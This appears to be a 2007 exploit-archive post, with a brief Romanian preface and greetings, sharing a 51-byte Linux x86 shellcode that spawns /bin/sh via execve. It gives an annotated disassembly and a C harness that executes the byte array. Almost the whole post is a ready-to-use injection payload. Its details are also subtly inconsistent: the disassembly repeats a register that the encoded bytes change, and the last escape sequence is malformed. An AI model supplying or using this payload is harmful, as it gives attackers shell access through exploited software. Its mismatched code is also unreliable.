linux/x86 execve()51bytes

[vladiii]

Exploit facut de cel mai bun prieten al meu, adica flo_flow (in curand si pe milw0rm.org). Exploit pt linux/x86 shellcode

/* linux/x86 execve()51bytes
 * fl0w_execve.c
 * linux/x86 execve shellcode,look down and you'll
 * see a detailed look of the assembly
 * by fl0 fl0w (C)2007
 * Shoutz:OSHO : I made it!
 *        vladiii : greetings!
 *        All RENSLT members !
 *	  Ultimatum : Greetings bro!
 *	  Str0ke : Thanks for the support!
 * flo_flow_supremacy[at]yahoo[dot]com
 * fl0fl0w[dot]blogspot[dot]com
/* 08048080 <_start>:
 * 8048080:       eb 1a                   jmp    804809c <gotocall>
 * 08048082 <shellcode>:
 * 8048082:       5e                      pop    %esi
 * 8048083:       31 c0                   xor    %eax,%eax
 * 8048085:       88 46 07                mov    %al,0x7(%esi)
 * 8048088:       8d 1e                   lea    (%esi),%ebx
 * 804808a:       89 5e 08                mov    %ebx,0x8(%esi)
 * 804808d:       89 46 0c                mov    %eax,0xc(%esi)
 * 8048090:       b0 0b                   mov    $0xb,%al
 * 8048092:       89 f3                   mov    %esi,%ebx
 * 8048094:       8d 4e 08                lea    0x8(%esi),%ecx
 * 8048097:       8d 4e 0c                lea    0xc(%esi),%ecx
 * 804809a:       cd 80                   int    $0x80
 * 0804809c <gotocall>:
 * 804809c:       e8 e1 ff ff ff          call   8048082 <shellcode>
 * 80480a1:       2f                      das
 * 80480a2:       62 69 6e                bound  %ebp,0x6e(%ecx)
 * 80480a5:       2f                      das
 * 80480a6:       73 68                   jae    8048110 <gotocall+0x74>
 * 80480a8:       4a                      dec    %edx
 * 80480a9:       41                      inc    %ecx
 * 80480aa:       41                      inc    %ecx
 * 80480ab:       41                      inc    %ecx
 * 80480ac:       41                      inc    %ecx
 * 80480ad:       4b                      dec    %ebx
 * 80480ae:       4b                      dec    %ebx
 * 80480af:       4b                      dec    %ebx
 * 80480b0:       4b                      dec    %ebx
*/
#include<stdio.h>
char shellcode[]="\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d"
                 "\x1e\x89\x5e\x08\x89\x46"
                 "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
	         "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
	         "\x4b\x4b\x4b\4b";
main()
 { void (*routine)();
   (long)routine=&shellcode;
    printf("size of shellcode: %dbytes\n",sizeof(shellcode));
    routine();
   }

BRAVO FLOOOOOOOOO !!!